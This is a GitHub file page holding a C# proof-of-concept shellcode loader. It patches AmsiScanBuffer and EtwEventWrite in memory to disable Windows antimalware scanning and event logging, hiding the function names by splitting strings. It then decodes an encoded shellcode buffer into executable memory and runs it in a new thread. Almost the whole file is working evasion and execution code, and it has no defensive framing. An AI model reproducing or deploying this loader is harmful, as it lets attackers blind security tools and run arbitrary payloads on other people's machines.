-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathProgramPatchAmsiEtw.cs
More file actions
191 lines (165 loc) · 5.69 KB
/
ProgramPatchAmsiEtw.cs
File metadata and controls
191 lines (165 loc) · 5.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
// Yes the code is shit, but meh so what - not like I have the whole day to write good pocs
namespace ConsoleApp1
{
public class PatchAMSIAndETW
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
private static void PatchETW()
{
try
{
byte[] patchbyte = new byte[0];
if (IntPtr.Size == 4)
{
string patchbytestring2 = "33,c0," + "c2,14,00";
string[] patchbytestring = patchbytestring2.Split(',');
patchbyte = new byte[patchbytestring.Length];
for (int i = 0; i < patchbytestring.Length; i++)
{
patchbyte[i] = Convert.ToByte(patchbytestring[i], 16);
}
}else
{
string patchbytestring2 = "48,3" + "3,C0,C3";
string[] patchbytestring = patchbytestring2.Split(',');
patchbyte = new byte[patchbytestring.Length];
for (int i = 0; i < patchbytestring.Length; i++)
{
patchbyte[i] = Convert.ToByte(patchbytestring[i], 16);
}
}
var enteeediiielel = LoadLibrary(("ntd" + "ll.dll"));
var etwEventSend = GetProcAddress(enteeediiielel, ("Et" + "wE" + "ve" + "nt" + "Wr" + "it" + "e"));
uint oldProtect;
VirtualProtect(etwEventSend, (UIntPtr)patchbyte.Length, 0x40, out oldProtect);
Marshal.Copy(patchbyte, 0, etwEventSend, patchbyte.Length);
}catch (Exception e)
{
Console.WriteLine(" [!] {0}", e.Message);
Console.WriteLine(" [!] {0}", e.InnerException);
}
}
private static void PatchAMSI()
{
try {
LoadLibrary("A" + "m" + "s" + "i" + "." + "d" + "ll");
byte[] patchbyte = new byte[0];
if (IntPtr.Size == 4)
{
string patchbytestring2 = "B8,57,00,07,80,C2,18,00";
string[] patchbytestring = patchbytestring2.Split(',');
patchbyte = new byte[patchbytestring.Length];
for (int i = 0; i < patchbytestring.Length; i++)
{
patchbyte[i] = Convert.ToByte(patchbytestring[i], 16);
}
}else
{
string patchbytestring2 = "B8,57,00,07,80,C3";
string[] patchbytestring = patchbytestring2.Split(',');
patchbyte = new byte[patchbytestring.Length];
for (int i = 0; i < patchbytestring.Length; i++)
{
patchbyte[i] = Convert.ToByte(patchbytestring[i], 16);
}
}
var enteeediiielel = LoadLibrary(("ams" + "i.dll"));
var etwEventSend = GetProcAddress(enteeediiielel, ("Am" + "si" + "Sc" + "an" + "Bu" + "ff" + "er"));
uint oldProtect;
VirtualProtect(etwEventSend, (UIntPtr)patchbyte.Length, 0x40, out oldProtect);
Marshal.Copy(patchbyte, 0, etwEventSend, patchbyte.Length);
}catch (Exception e)
{
Console.WriteLine(" [!] {0}", e.Message);
Console.WriteLine(" [!] {0}", e.InnerException);
}
}
public static void Mein()
{
PatchAMSI();
PatchETW();
}
}
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
// Yes the code is shit, but meh so what - not like I have the whole day to write good pocs
private static int jawohl(byte[] inputz, IntPtr addr, int position, int key)
{
int fixSize = 100;
byte[] slice = new byte[]{};
byte[] remainder = new byte[0];
int len = inputz.Length;
if(len > fixSize)
{
slice = new byte[fixSize];
for (int i = 0; i < fixSize; i++)
{
slice[i] = inputz[i];
}
remainder = new byte[len-fixSize];
for (int i = 0; i < len-fixSize; i++)
{
remainder[i] = inputz[i+fixSize];
}
}else
{
slice = new byte[len];
for (int i = 0; i < len; i++)
{
slice[i] = inputz[i];
}
}
// Decode the shellcode
for (int i = 0; i < slice.Length; i++)
{
slice[i] = (byte)(((uint)slice[i] - key) & 0xFF);
}
IntPtr ptr;
if(position == 0)
{
ptr = addr;
}else
{
ptr = IntPtr.Add(addr, fixSize);
}
Marshal.Copy(slice, 0, ptr, slice.Length);
if(len > fixSize)
{
position += fixSize;
jawohl(remainder, ptr, position, key);
}
return len;
}
static void Main(string[] args)
{
byte[] buf = new byte[] { /* shellcode */ };
int key = 666; // key used to encode the shellcode
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)size, 0x3000, 0x40);
PatchAMSIAndETW.Mein();
jawohl(buf, addr, 0, key);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF); // wait for shellcode to finish execution
}
}
}